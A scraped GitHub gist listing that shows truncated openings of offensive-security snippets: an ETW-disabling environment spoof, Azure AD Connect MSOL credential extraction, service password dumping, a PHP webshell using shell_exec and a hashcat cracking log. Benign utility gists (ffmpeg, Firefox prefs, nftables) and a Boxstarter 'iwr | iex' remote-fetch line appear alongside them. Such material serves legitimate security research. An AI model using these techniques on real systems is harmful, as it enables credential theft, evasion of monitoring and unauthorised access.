Skip to content

Instantly share code, notes, and snippets.

View edermi's full-sized avatar

Michael Eder edermi

45 followers · 203 following
View GitHub Profile
@xpn
xpn / env_var_spoofing_poc.cpp
Created June 6, 2020 21:25
A very rough x64 POC for spoofing environment variables (similar to argument spoofing) with a focus on setting the COMPlus_ETWEnabled=0 var used to disable ETW in .NET
// A very rough x64 POC for spoofing environment variables similar to argument spoofing with a focus on
// setting the COMPlus_ETWEnabled=0 var for disabling ETW in .NET.
//
// Works by launching the target process suspended, reading PEB, updates the ptr used to store environment variables,
// and then resuming the process.
//
// (https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/)
#define INJECT_PARAM L"COMPlus_ETWEnabled=0\0\0\0"
#define INJECT_PARAM_LEN 43
@witmin
witmin / ffmpeg-mp4-to-animated-webp.md
Last active April 20, 2024 23:49
Convert MP4 file to animated WebP in ffmpeg

Convert MP4 file to animated WEBP file in ffmpeg CLI

1. Install ffmpeg CLI through homebrew

In terminal.app, install ffmpeg through homebrew

brew install ffmpeg

Validate the installation:

@AetherEternity
AetherEternity / user.js
Last active May 3, 2023 22:57
Silent firefox
// Mozilla User Preferences
// To change a preference value, you can either:
// - modify it via the UI (e.g. via about:config in the browser); or
// - set it within a user.js file in your profile (create it if it doesn't exist).
//
// Profile folder location on different systems:
// Windows: C:\Users\<username>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxxx.default
// Mac OS X: Users/<username>/Library/Application Support/Firefox/Profiles/xxxxxxxx.default
// Linux: /home/<username>/.mozilla/firefox/xxxxxxxx.default
@xpn
xpn / azuread_decrypt_msol_v2.ps1
Created April 11, 2020 01:34
Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync
Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb..."
return
@jborean93
jborean93 / Get-ServiceCredential.ps1
Last active February 5, 2024 14:32
Get's the username and password for installed Windows services
# Copyright: (c) 2019, Jordan Borean (@jborean93) <jborean93@gmail.com>
# MIT License (see LICENSE or https://opensource.org/licenses/MIT)
Function Get-ServiceCredential {
<#
.SYNOPSIS
Retrieve the username and plaintext password for all services installed on the local computer.
.DESCRIPTION
Will retrieve the username and plaintext password for the service(s) specified. This must be run as an
@goll
goll / README.md
Last active May 2, 2024 11:59
Docker nftables configuration for Debian 10
@mrpapercut
mrpapercut / shell.php
Last active May 29, 2023 14:15
Interactive PHP webshell
<?php
function escapetext($text) {
return str_replace("\n", "<br>", htmlentities($text));
}
function exec_command($cmd, $internal = false) {
try {
$shell_exec = shell_exec($cmd);
} catch (Exception $e) {
@ericbaranowski
ericbaranowski / hashcat.txt
Last active April 6, 2018 08:44
Azure GPU password cracking using Hashcat
sudo ./hashcat64.bin -a 0 -m 5600 ntlmv2.hash rockyou.txt --workload-profile 4 --generate-rules 10000 --cpu-affinity --powertune-enable
hashcat (v4.0.1) starting...
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: Tesla M60, 2030/8123 MB allocatable, 16MCU
* Device #2: Tesla M60, 2030/8123 MB allocatable, 16MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
@jessfraz
jessfraz / boxstarter.ps1
Last active April 11, 2024 16:02
Boxstarter Commands for a new Windows box.
# Description: Boxstarter Script
# Author: Jess Frazelle <jess@linux.com>
# Last Updated: 2017-09-11
#
# Install boxstarter:
# . { iwr -useb http://boxstarter.org/bootstrapper.ps1 } | iex; get-boxstarter -Force
#
# You might need to set: Set-ExecutionPolicy RemoteSigned
#
# Run this boxstarter by calling the following from an **elevated** command-prompt:
@mattifestation
mattifestation / CIPolicyParser.ps1
Last active March 13, 2024 19:48
Functions to recover information from binary Windows Defender Application Control (WDAC) Code Integrity policies.
# Ensure System.Security assembly is loaded.
Add-Type -AssemblyName System.Security
function ConvertTo-CIPolicy {
<#
.SYNOPSIS
Converts a binary file that contains a Code Integrity policy into XML format.
Author: Matthew Graeber (@mattifestation)